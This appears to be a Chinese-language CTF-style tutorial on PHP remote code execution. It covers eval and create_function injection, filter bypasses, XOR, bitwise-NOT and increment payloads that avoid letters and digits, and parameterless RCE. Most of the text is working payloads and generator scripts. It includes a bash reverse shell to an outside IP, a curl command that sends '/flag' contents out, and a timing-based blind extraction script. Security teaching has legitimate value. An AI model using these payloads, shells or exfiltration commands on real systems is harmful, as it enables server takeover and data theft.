eval

<?php
highlight_file(__FILE__);
$command=$_POST['cmd'];
if(isset($command)){
    if(!preg_match("/system|pctl/i",$command)) {
        echo "welcome to RCE Lession one";
        echo "<br>";
        eval($command);
    }
    else{
        die("what are you doing?");
    }
}
?>

cmd=passthru("cat /flag");
但是这里有个注意事项,就是字符串的末尾必须有分号;,否则会报错

平常我们见到的eval都是形如eval(system('ls');)这样式儿的是吧
下面介绍一些变种

eval(system('ls')?>)
eval(?><?php system('ls');?>)
eval(?><?php system('ls');?>;)
eval(?><?php system('ls');?><?)
eval(?><?php system('ls');?><?php;)

关于这一点我们可以理解为eval函数里面其实就是一个<?php ?>,我们往php代码段里写内容。因此我们需要注意闭合的问题

create_function

上面eval的trick类似,create_function也是往方法体注入内容,那么我们也是可以闭合方法体的

function (形参){
  参数内容;
}

假如我们的参数内容是}xxxxx//那么是不是也完成了闭合呢?然后xxxx部分就是我们控制的了,那么我们就不需要调用这个匿名函数,直接完成方法执行。

RCE-Challenge-5

<?php
highlight_file(__FILE__);
$command=$_POST['cmd'];
if(isset($command)){
    if(!preg_match("/cat|pctl|nl|system|passthru|include|tac|ls|eval|assert/i",$command)) {
        echo "welcome to RCE Lession 5";
        echo "<br>";
        create_function($command,"");
    }
    else{
        die("what are you doing?");
    }
}
cmd=){}echo `uniq /flag`;//

ByPass

空格 Bypass

  • $IFS$9 、${IFS} 、%09(\r)
  • <>
  • %0a换行符

多语句执行

我们一般是可以通过;进行多语句执行的,我们也可以通过换行符\n(%0a)进行多语句执行。

关键字 Bypass

通配符

  • ?通配符匹配单个字母
  • *通配符匹配多个字母
  • [x-x]或者是{x,x,x,x}

单双引号

  • 单引号
  • 双引号
  • 反斜杠

以cat指令为例,假如cat被过滤了,我们可以通过ca''t ca""t c"a"t ca\t这样来bypass

编码绕过

比如用base64编码
echo xxxx|base64 -d|bash

变量赋值(拼贴)

假如我们要执行指令whoami,我们可以
a=who;b=ami;$a$b这样就会执行whoami指令。

异或RCE

环境为PHP7
以按位疑惑为例子:

<?php
$myfile = fopen("text.txt", "w");  //新创建一个文件,也就是rce_or.txt,给他写的权限
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i); //ascii的前16个字符的十六进制应该是01,02,所以在前缀加‘0’
        }
        else{
            $hex_i=dechex($i);  //前16个后面的就不用加0了
        }
        if($j<16){
            $hex_j='0'.dechex($j);   //同理上方
        }
        else{
            $hex_j=dechex($j);      //同理上方
        }
        $preg ='/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i';
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";     //如果有符合条件的就筛掉,输出空格
    }

        else{             //可以使用的字符如下
        $a='%'.$hex_i;    //十六进制前加百分号就变成了URL编码格式
        $b='%'.$hex_j;
        $c=(urldecode($a)^urldecode($b));  //urldecode函数是解URL编码,把他们变成字符串,这里是字符串进行按位或运算,按位或运算后,可以得到新的字符,如%21和%00进行按位或就变成了!,这样我们就可以使用感叹号,就类似于合成新的字符
        if (ord($c)>=32&ord($c)<=126) {          //ord函数是将字符变成ASCII码
            $contents=$contents.$c." ".$a." ".$b."\n";     //每次到这里都写入刚刚建立的文本内
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);
?>
def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("text.txt", "r")
        while True:
            t = f.readline()  # 逐行读取文件 //每一次循环,指针都会指向下一行,输出下一行的字符
            if t == "":  # 读到空,即读完跳出循环
                break
            if t[0] == i:  # 就比如我们这边输入的arg是system,当文本当前行第一个字母是s或者y这些字符就写入s1,s2
                # print(i)
                s1 += t[2:5]  # 提取第一个字符串,具体可以看上面我的截图,如第一行的%00
                s2 += t[6:9]  # 提取第二个字符串
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"  # s1和s2进行或运算就可以合成对应的字母s,y,s,t,e,m
    return (output)


param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
print(param)

首先来讲一下原理把:

if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
  echo "";     //如果有符合条件的就筛掉,输出空格
}

else{             //可以使用的字符如下
     $a='%'.$hex_i;    //十六进制前加百分号就变成了URL编码格式
     $b='%'.$hex_j;
     $c=(urldecode($a)^urldecode($b));  //urldecode函数是解URL编码,把他们变成字符串,这里是字符串进行按位或运算,按位或运算后,可以得到新的字符,如%21和%00进行按位或就变成了!,这样我们就可以使用感叹号,就类似于合成新的字符

主要的PHP代码在这里,这段代码的意思是利用hex2bin来获取filter以外的字符,如空白字符,一些乱码之类的,但是这些字符都有对应的二进制数字,所以可以进行取反,异或之类的操作

举个栗子吧,以脚本生成的结果中调几个来看:
image.png
看到92行,意思就是%04|%27的结果URL解码后就是#
在本地测试一下看看:

<?php
echo hex2bin('04').'<br>';
echo hex2bin('27').'<br>';
echo (urldecode('%04')^urldecode('%27'));
?>

image.png
从结果来看就是那些满足filter条件的字符,不是数字也不是字母,是一些特殊符号和乱码,如果filter中过滤了特殊符号,那就修改一下脚本即可

用两个乱码合成了一个#,可以这么理解
最后再来谈谈结果的原理:
image.png
(“%0f%08%0f%09%0e%06%0f”^“%7f%60%7f%60%60%60%60”)(“%0b”^“%3a”)
就好比我们的system('ls),我们看看这一堆东西输入进去后为什么会变成答案?
首先URL会帮你解码一次,我感到好奇的是双引号的作用,本地测试一下

<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
echo $code;
if(preg_match('/[a-z0-9]/i',$code)){
    die('hacker');
}
eval($code);
?>

我们payload:?code=(“%0f%08%0f%09%0e%06%0f”^“%7f%60%7f%60%60%60%60”)(“%0b”^“%3a”);
image.png
看得到结果输出的code是一滩乱码,这是因为被URL解码过了,由于这些乱码我们都没过滤,所以可以满足条件
猜测是在eval内完成了异或的操作
本地测试一下能否进行异或操作:

<?php
echo urldecode("%0f%08%0f%09%0e%06%0f")^urldecode("%7f%60%7f%60%60%60%60");
echo '<br>';
echo urldecode("%0b")^urldecode("%3a");
?>

image.png
是可行的,都解出来了,这样对原理就清楚了

取反RCE

在php内取反很方便,因为php内可以取反字符串,而在python内就显得麻烦的多,取反脚本如下:

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?>

意思就是先对输入的字符串进行取反,我们payload时二次取反达到还原的目的,
了解一下取反的原理:

<?php
echo ~'phpinfo()';
?>

image.png
可以看到是乱码!所以可以绕过preg_match的过滤,我们把这乱码二次取反后:

<?php
$a=~'phpinfo();';
echo ~$a;
?>

image.png
可以还原,和上面的异或其实是一个意思

自增RCE

RCE篇之无数字字母rce_mb5fd86d5f5874e的技术博客_51CTO博客
参考以上文章

<?php
$_=[].[]; //俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray
$__='';  //两个短杠赋值为空
$_=$_[''];//从arrayarray中取首字符,即a。这里$_=$_[0]也是一样的道理,不过waf限制数字输入
$_=++$_; //b
$_=++$_; //c
$_=++$_; //d
$_=++$_; //e
$__.=$_; //E  把两个短杠赋值为E
$_=++$_; //F  一个短杠继续自增
$_=++$_; //G 
$__=$_.$__; // GE  一个短杠自增变成了G,两个短杠在前面第十一行处已经赋值为E,拼接得GE
$_=++$_; //H 此处一个短杠继续自增,为H
$_=++$_; //I
$_=++$_; //J
$_=++$_; //k
$_=++$_; //L
$_=++$_; //M
$_=++$_; //N
$_=++$_; //O
$_=++$_; //P
$_=++$_; //Q
$_=++$_; //R
$_=++$_; //S
$_=++$_; //T
$__.=$_; // GET 在此处,两条短杠原是GE与一条短杠(已经自增为T),.=拼接,构成get
${'_'.$__}[_](${'_'.$__}[__]); // 进行拼接,$_GET['_']($_GET['__']);

url编码后:
%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

url编码后:
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b

第二个payload需要PHP小于7的版本,因为在PHP7,assert不再可以被动态调用

<?php
highlight_file(__FILE__);
$command=$_POST['cmd'];
if(isset($command)){
    if(!preg_match("/[A-Za-z0-9]+/i",$command)) {
        echo "welcome to RCE Lession 7";
        echo "<br>";
        eval($command);
    }
    else{
        die("what are you doing?");
    }
}
?>

cmd=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%0c%01%07"^"%60%60%7c%20%2f%60%60%60%60");

cmd=%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b

无参数RCE

介绍

无参数RCE指的就是我们通过xxx(xxx(xxx()));的无参函数去获取flag,他的正则表达式为
/[^\W]+\((?R)?\)/,在这里表示递归匹配。

利用函数

getenv

获取环境变量
image.png

var_dump

打印结果,调试。

scandir

readfile

读取文件
image.png

next

把数组指针往下移动一位。

get_defined_vars

获取定义的所有变量
cmd=var_dump(next(get_defined_vars()));&a=1
image.png

session_start

启动一个session

getallheaders

获取所有的请求头

getcwd

获取所在目录
image.png

apache_request_headers

只适用于apache获取请求头。

<?php
highlight_file(__FILE__);
$command=$_POST['cmd'];
if(isset($command)){
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $command)) {
        echo "welcome to RCE Lession 9";
        echo "<br>";
        eval($command);
    }
    else{
        die("what are you doing?");
    }
}
?>

方法一

cmd=system(next(next(get_defined_vars())));&a=cat /flag

方法二

cmd=readfile(next(next(get_defined_vars())));&a=/flag

方法三

POST / HTTP/1.1
Host: localhost:32775
Content-Length: 33
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Microsoft Edge";v="120"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Origin: http://localhost:32775
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:32775/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
cmd:cat /flag

cmd=system(end(getallheaders()));

方法四

通过session_start强制启动session,通过session_id获取PHPSESSID的cookie值,得到可控字符串
cmd=system(session_id(session_start()));
PHPSESSID=cat /flag

方法五

POST / HTTP/1.1
Host: localhost:32775
Content-Length: 42
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Microsoft Edge";v="120"
Cookie: PHPSESSID=asdasdasda
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Origin: http://localhost:32775
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:32775/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
x-cmd:cat /flag

cmd=system(end(apache_request_headers()));

image.png

无回显命令执行

无回显外带的方式

  • 反弹shell

bash -c "bash -i >& /dev/tcp/8.130.24.188/7775 <&1"
image.png

  • curl、wget、dns外带
cmd=curl http://8.130.24.188:7775?a=`cat /flag`

image.png

  • 把flag复制到网站根目录

cp /flag /var/www/html/1.txt

  • bash盲注
if [ `cat /flag | awk NR==1 | cut -c 1` == 'N' ];then sleep 2;fi
import time

import requests
url = "http://127.0.0.1:32776/"
result = ""
for i in range(1,15):
    for j in range(1,50):
        #ascii码表
        for k in range(32,127):
            k=chr(k)
            payload =f"if [ `cat /flag | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 2;fi"
            length=len(payload)
            data ={
                "cmd": payload
            }
            t1=time.time()
            r=requests.post(url=url,data=data)
            t2=time.time()
            if t2-t1 >1.5:
                result+=k
                print(result)
    result += " "
<?php
highlight_file(__FILE__);
$command=$_POST['cmd'];
if(isset($command)){
    if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $command)){
        exec($this->code);
    }
    else{
        die("what are you doing?");
    }
}
?>

image.png

最后修改:2024 年 03 月 30 日
如果觉得我的文章对你有用,请随意赞赏